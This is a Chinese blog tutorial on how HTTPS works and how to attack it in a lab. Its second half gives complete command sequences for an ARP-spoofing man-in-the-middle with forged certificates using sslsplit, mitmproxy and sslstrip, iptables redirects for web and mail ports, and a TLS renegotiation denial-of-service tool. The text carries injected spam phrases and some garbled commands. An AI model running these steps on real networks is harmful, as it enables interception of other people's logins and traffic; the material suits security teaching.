HTTPS及HTTPS中間人攻擊192.168.1.1入口登錄,全站HTTPS正在稱為潮流趨勢(shì),國(guó)內(nèi)實(shí)現(xiàn)全站https192.168.1.1入口登錄的有淘寶和百度兩家。
https的作用
C I A:機(jī)密性,完整性,可用性(可用性是合法用戶可以訪問(wèn)自己有權(quán)限訪問(wèn)的資源)解決的是信息傳輸中數(shù)據(jù)被篡改。
竊取加密:對(duì)稱、非對(duì)稱、單向
https工作原理
https的工作原理還是有必要研究下的(原理我也是從網(wǎng)上學(xué)習(xí)總結(jié)的,感謝這些前輩)
>>>>
客戶端發(fā)起HTTPS請(qǐng)求
用戶在瀏覽器里輸入一個(gè)https網(wǎng)址,然后連接到server的443端口。
>>>>
服務(wù)端的配置
采用HTTPS協(xié)議的服務(wù)器必須要有一套數(shù)字證書,可以自己制作,也可以向組織申請(qǐng)。區(qū)別就是自己頒發(fā)的證書需要客戶端驗(yàn)證通過(guò),才可以繼續(xù)訪問(wèn),而使用受信任的公司申請(qǐng)的證書則不會(huì)彈出提示頁(yè)面web通信中的SSL加密的公鑰證書(受信任的第三方證書頒發(fā)機(jī)構(gòu)簽名頒發(fā))常見的如
VeriSignThawte
GlobalSign
Symantec
>>>>
傳送證書
這個(gè)證書其實(shí)就是公鑰,只是包含了很多信息,如證書的頒發(fā)機(jī)構(gòu),過(guò)期時(shí)間等等。
>>>>
客戶端解析證書
這部分工作是有客戶端的TLS來(lái)完成的,首先會(huì)驗(yàn)證公鑰是否有效,比如頒發(fā)機(jī)構(gòu),過(guò)期時(shí)間等等,如果發(fā)現(xiàn)異常,則會(huì)彈出一個(gè)警告框,提示證書存在問(wèn)題。如果證書沒(méi)有問(wèn)題,那么就生成一個(gè)隨即值。然后用證書對(duì)該隨機(jī)值進(jìn)行加密。
>>>>
傳送加密信息
這部分傳送的是用證書加密后的隨機(jī)值,目的就是讓服務(wù)端得到這個(gè)隨機(jī)值,以后客戶端和服務(wù)端的通信就可以通過(guò)這個(gè)隨機(jī)值來(lái)進(jìn)行加密解密了。
>>>>
服務(wù)段解密信息
服務(wù)端用私鑰解密后,得到了客戶端傳過(guò)來(lái)的隨機(jī)值(私鑰),然后把內(nèi)容通過(guò)該值進(jìn)行對(duì)稱加密。所謂對(duì)稱加密就是,將信息和私鑰通過(guò)某種算法混合在一起,這樣除非知道私鑰,不然無(wú)法獲取內(nèi)容,而正好客戶端和服務(wù)端都知道這個(gè)私鑰,所以只要加密算法夠彪悍,私鑰夠復(fù)雜,數(shù)據(jù)就夠安全。
>>>>
傳輸加密后的信息
這部分信息是服務(wù)段用私鑰加密后的信息,可以在客戶端被還原8. 客戶端解密信息客戶端用之前生成的私鑰解密服務(wù)段傳過(guò)來(lái)的信息,于是獲取了解密后的內(nèi)容。整個(gè)過(guò)程第三方即使監(jiān)聽到了數(shù)據(jù),也束手無(wú)策。
大概過(guò)程如下
握手——協(xié)商加密算法——獲得公鑰證書——驗(yàn)證公鑰證書——交換會(huì)話密鑰——加密信息傳輸
SSL的弱點(diǎn)
1.ssl是不同的對(duì)稱、非對(duì)稱、單向加密算法的組合加密實(shí)現(xiàn)(cipher suite)如密鑰交換、身份驗(yàn)證使用RAS/Diffie-Hellman,加密數(shù)據(jù),使用AES加密,有RAS/DH完成密鑰交換,摘要信息由HMAC-SHA2,組成了一個(gè)cipher suite,當(dāng)然,也可以是其192.168.1.1入口登錄他組合。
2.服務(wù)器端為提供更好的兼容性,選擇支持大量過(guò)時(shí)的cipher suite。
3.協(xié)商過(guò)程中強(qiáng)迫降級(jí)加密強(qiáng)度。
4.現(xiàn)代處理器計(jì)算能力可以在接收的時(shí)間內(nèi)破解過(guò)時(shí)加密算法。
5.黑客購(gòu)買云計(jì)算資源破解。
HTTPS常見攻擊方式
針對(duì)其弱點(diǎn),常見的https攻擊方法有
降級(jí)攻擊(把高安全級(jí)別的加密算法強(qiáng)制降成低安全級(jí)別的加密算法)
解密攻擊(明文、證書偽造)
協(xié)議漏洞、實(shí)現(xiàn)方法的漏洞、配置不嚴(yán)格
HTTPS證書查看
在進(jìn)行中間人攻擊之前,先查看下證書,可以使用以下軟件(以百度為例)
>>>>
OpenSSL
OpenSSL是一個(gè)安全套接字層密碼庫(kù),囊括主要的密碼算法、常用的密鑰和證書封裝管理功能及SSL協(xié)議,并提供豐富的應(yīng)用程序供測(cè)試或其它目的使用。
直接調(diào)用openssl庫(kù)識(shí)別目標(biāo)服務(wù)器支持的SSL/TLS cipher suiteopenssl s_client -connect www.baidu.com:443,
>>>>
sslcan
SSLscan主要探測(cè)基于ssl的服務(wù),如https。SSLscan是一款探測(cè)目標(biāo)服務(wù)器所支持的SSL加密算法工具。
sslcan能自動(dòng)識(shí)別ssl配置錯(cuò)誤,過(guò)期協(xié)議,過(guò)時(shí)cipher suite和hash算法默認(rèn)會(huì)檢查CRIME、heartbled漏洞,綠色表示安全、紅色黃色需要引起注意sslscan -tlsall www.baidu.com:443
分析證書詳細(xì)數(shù)據(jù)
sslscan -show-certificate --no-ciphersuites www.baidu.com:443
>>>>
nmap
還可以使用nmap的腳本。
nmap --=ssl-enm-ciphers.nse www.baidu.com
https中間人攻擊
>>>>
先生成一個(gè)證書
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt,進(jìn)行一個(gè)新的請(qǐng)求,格式為-x509,現(xiàn)在的證書基本是x509的國(guó)際標(biāo)準(zhǔn)的證書格式,有效期為1096天,并使用ca.key私鑰,生成ca.crt標(biāo)準(zhǔn)的證書文件。
sslsplit會(huì)自動(dòng)的調(diào)用根證書,根據(jù)192.168.1.1入口登錄你要訪問(wèn)哪些網(wǎng)站,根據(jù)網(wǎng)站的名稱,由根證書簽發(fā)一個(gè)專門針對(duì)網(wǎng)站的證書。
>>>>
開啟路由功能
中間人也是個(gè)終端設(shè)備,不具有路由功能,轉(zhuǎn)發(fā)過(guò)程不是由軟件實(shí)現(xiàn)的,是由操作系統(tǒng)的路由功能實(shí)現(xiàn)的。
sysctl -w net.ipv4.ip_forward=1,將net.ipv4.ip_forward=1的值設(shè)為1,當(dāng)然用輸出重定向或者vim編輯proc/sys/net/ipv4/ip_forward也可。
>>>>
寫轉(zhuǎn)發(fā)規(guī)則
iptables端口轉(zhuǎn)發(fā)規(guī)則
當(dāng)客戶端把請(qǐng)求發(fā)給中間人終端設(shè)備的時(shí)候,發(fā)到終端的443端口之后,需要用iptables做NAT地址轉(zhuǎn)換,其實(shí)是端口轉(zhuǎn)換,把本地443端口收到的包轉(zhuǎn)發(fā)到另外一個(gè)端口,而另外一個(gè)端口由sslsplit所偵聽的端口,這樣的話,凡是發(fā)給443端口的請(qǐng)求流量就會(huì)發(fā)給slsplit所偵聽的端口,而sslsplit就會(huì)調(diào)用證書偽造一個(gè)看起來(lái)是目標(biāo)網(wǎng)站的偽造網(wǎng)站,sslsplit會(huì)利用偽造的證書對(duì)發(fā)過(guò)來(lái)的流量進(jìn)行解密
iptables -t nat -L 查看net的配置,為避免干擾,可以使用iptables -F清空配置,并使用netstat -pantu | grep :80 ,netstat -pantu | grep :443檢查80和443是否被使用,使用則停止進(jìn)程
將80、443端口進(jìn)行轉(zhuǎn)發(fā)給8080和8443端口。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
當(dāng)然還可以對(duì)其他的協(xié)議的加密流量進(jìn)行中間人攻擊。
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
>>>>
進(jìn)行arp欺騙
使用arpspoof進(jìn)行arp欺騙,不管是進(jìn)行DNS欺騙還是HTTP或HTTPS的中間人攻擊,arp欺騙都是前提,所以,在進(jìn)行防御的時(shí)候,將ip和MAC綁定,就可以防止中間人攻擊了。
arpspoof -i eth0 -t 192.168.1.127 -r 192.168.1.1(以下展示的實(shí)驗(yàn)環(huán)境的地址)
能看到網(wǎng)關(guān)的arp已經(jīng)變成了kali的mac地址了。
>>>>
進(jìn)行監(jiān)聽
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080,-D 表示debug,-l表示把連接請(qǐng)求記錄到一個(gè)文件中,不是數(shù)據(jù)信息,只是連接信息,-j越獄的根目錄,-S請(qǐng)求的數(shù)據(jù),放在-j指定的目錄下的目錄,如root/test/logdir,所以得先建立這個(gè)幾個(gè)目錄,-k指定私鑰,-c指定私鑰簽發(fā)的證書,ssl的流量加密的流量在本地的所有ip地址偵聽8443端口,不加密的普通的tcp流量在本地的8080端口偵聽。
>>>>
驗(yàn)證
在客戶端驗(yàn)證。本地電腦默認(rèn)集成證書服務(wù)器的根證書,是不信任我們偽造的證書,所以在訪問(wèn)淘寶的時(shí)候,看到有這樣的提示,就是有問(wèn)題的。
登錄驗(yàn)證并查看證書。
查看連接信息。
查看數(shù)據(jù)信息。
查看到https加密后的信息已經(jīng)被解密。
我們就可以劫持https的流量了,但是會(huì)提示網(wǎng)站證書會(huì)報(bào)錯(cuò),解決方法是將根證書安裝到客戶端,再次訪問(wèn)就不會(huì)報(bào)根證書的問(wèn)題了。訪問(wèn)的任何東西就會(huì)被沒(méi)有告警的記錄下來(lái)。所以在看到訪問(wèn)網(wǎng)站證書報(bào)錯(cuò)的情況下,需要格外注意。
除了sslsplit進(jìn)行監(jiān)聽,還可以使用Mitmproxy進(jìn)行中間人攻擊,同前面的步驟相同,仍然需要偽造證書,進(jìn)行arp欺騙,但不需要指定監(jiān)聽的端口,默認(rèn)監(jiān)聽8080端口,可以對(duì)默認(rèn)的端口進(jìn)行修改。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
啟動(dòng)Mitmproxymitmproxy -T --host -w mitmproxy.log,不但能進(jìn)行監(jiān)控,每個(gè)具體的數(shù)據(jù)可以打開查看詳細(xì)的請(qǐng)求。
還可以使用SSLstrip進(jìn)行監(jiān)聽,與前兩種工具不同,將客戶端到中間人的流量變?yōu)槊魑?。需要arp欺騙,不需要生成偽造證書,只需寫iptables規(guī)則,并讓sslstrip 監(jiān)聽某一個(gè)端口。
sslstrip -l 8080
ssl/TLS拒絕服務(wù)攻擊
ssl/TLS拒絕服務(wù)攻擊的原理及特性:
1、SSL協(xié)商加密對(duì)性能開銷增加,大量握手請(qǐng)求會(huì)導(dǎo)致拒絕服務(wù)。
2、利用ssl sevure renegotiation 特性,在單一TCP連接中生成數(shù)千個(gè)SSL重連接請(qǐng)求,造成服務(wù)器資源過(guò)載。
3、與流量式拒絕服務(wù)攻擊不同,thc-ssl-dos可以利用dsl線路打垮30G帶寬的服務(wù)器
4、對(duì)SMTPS、POP3S等服務(wù)同樣有效
可以使用德國(guó)黑客組織“The Hacker’s Choice”發(fā)布了工具THC SSL DOS、thc-ssl-dos ip 端口 --accept,--accept是作者強(qiáng)制要求加的參數(shù),不加此參數(shù)回提示你這個(gè)服務(wù)器是你的服務(wù)器嗎,不是你的服務(wù)器就不要進(jìn)行測(cè)試,--accept只有接收確認(rèn)是自己的服務(wù)器,才可以使用這個(gè)工具去發(fā)起ssl重連接的握手請(qǐng)求。
對(duì)策
禁用SSL-Renegotoation、使用SSL Accelerator(不過(guò)可以通過(guò)修改thc-ssl-dos代碼,可以繞過(guò)以上對(duì)策)
作者: “罹殤” 博客
來(lái)源:https://wt7315.blog.51cto.com/10319657/1876945
煉石信息安全培訓(xùn)春季班開招
QQ:495066536
372806985
敬請(qǐng)持續(xù)關(guān)注……
評(píng)論列表
還沒(méi)有評(píng)論,快來(lái)說(shuō)點(diǎn)什么吧~